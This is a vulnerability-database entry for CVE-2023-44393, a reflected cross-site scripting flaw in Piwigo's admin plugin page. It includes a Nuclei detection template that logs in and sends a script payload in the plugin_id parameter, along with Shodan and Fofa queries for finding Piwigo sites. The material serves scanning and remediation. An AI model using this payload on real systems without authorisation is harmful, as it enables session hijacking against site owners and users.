SecurityContext

CVE-2023-44393: Piwigo - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01332
  • Epss percentile: 0.71853
  • Cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="piwigo"
  • Product: piwigo
  • Shodan-query: http.favicon.hash:540706145
  • Vendor: piwigo

Products

ProductIndexedUrl
piwigo:piwigoyes/v1/products/piwigo/piwigo

Labels

  • Name: Piwigo - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Sanitize the 'plugin_id' parameter properly and update to the latest version of Piwigo.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to visit a malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2023-44393

```yaml

id: CVE-2023-44393

info:

name: Piwigo - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

Piwigo is vulnerable to a reflected XSS in the admin panel where the `plugin_id` parameter is not properly sanitized.

impact: |

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

remediation: |

Update Piwigo to the latest version to mitigate the reflected XSS vulnerability.

reference:

- https://github.com/Piwigo/Piwigo/security/advisories/GHSA-qg85-957m-7vgg

- https://nvd.nist.gov/vuln/detail/CVE-2023-44393

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-44393

cwe-id: CWE-79

epss-score: 0.01332

epss-percentile: 0.71853

cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*

metadata:

vendor: piwigo

product: piwigo

shodan-query: http.favicon.hash:540706145

fofa-query: title="piwigo"

tags: cve,cve2023,piwigo,xss,authenticated,vuln

http:

- raw:

- |

POST /identification.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}&login=

- |

GET /admin.php?page=plugins&tab=new&installstatus=ok&plugin_id=nfez2%22%3E%3Cscript%3Eprompt(document.domain)%3C%2fscript%3Ehkugi HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body_2

words:

- "<script>prompt(document.domain)</script>"

- "The plugin has been successfully copied"

condition: and

- type: word

part: header_2

words:

- "text/html"

- type: status

status:

- 200

digest: 4b0a00483046022100dba69a7f44ec4f06938a704e9bfeed8da8149e5a44694755fc6e0a62ca76eec2022100d5ff68dea429a5f50da8fe2f3ec03655f639db43baa35bcf788f108ba285f510:922c64590222798bb761d5b6d8e72950

```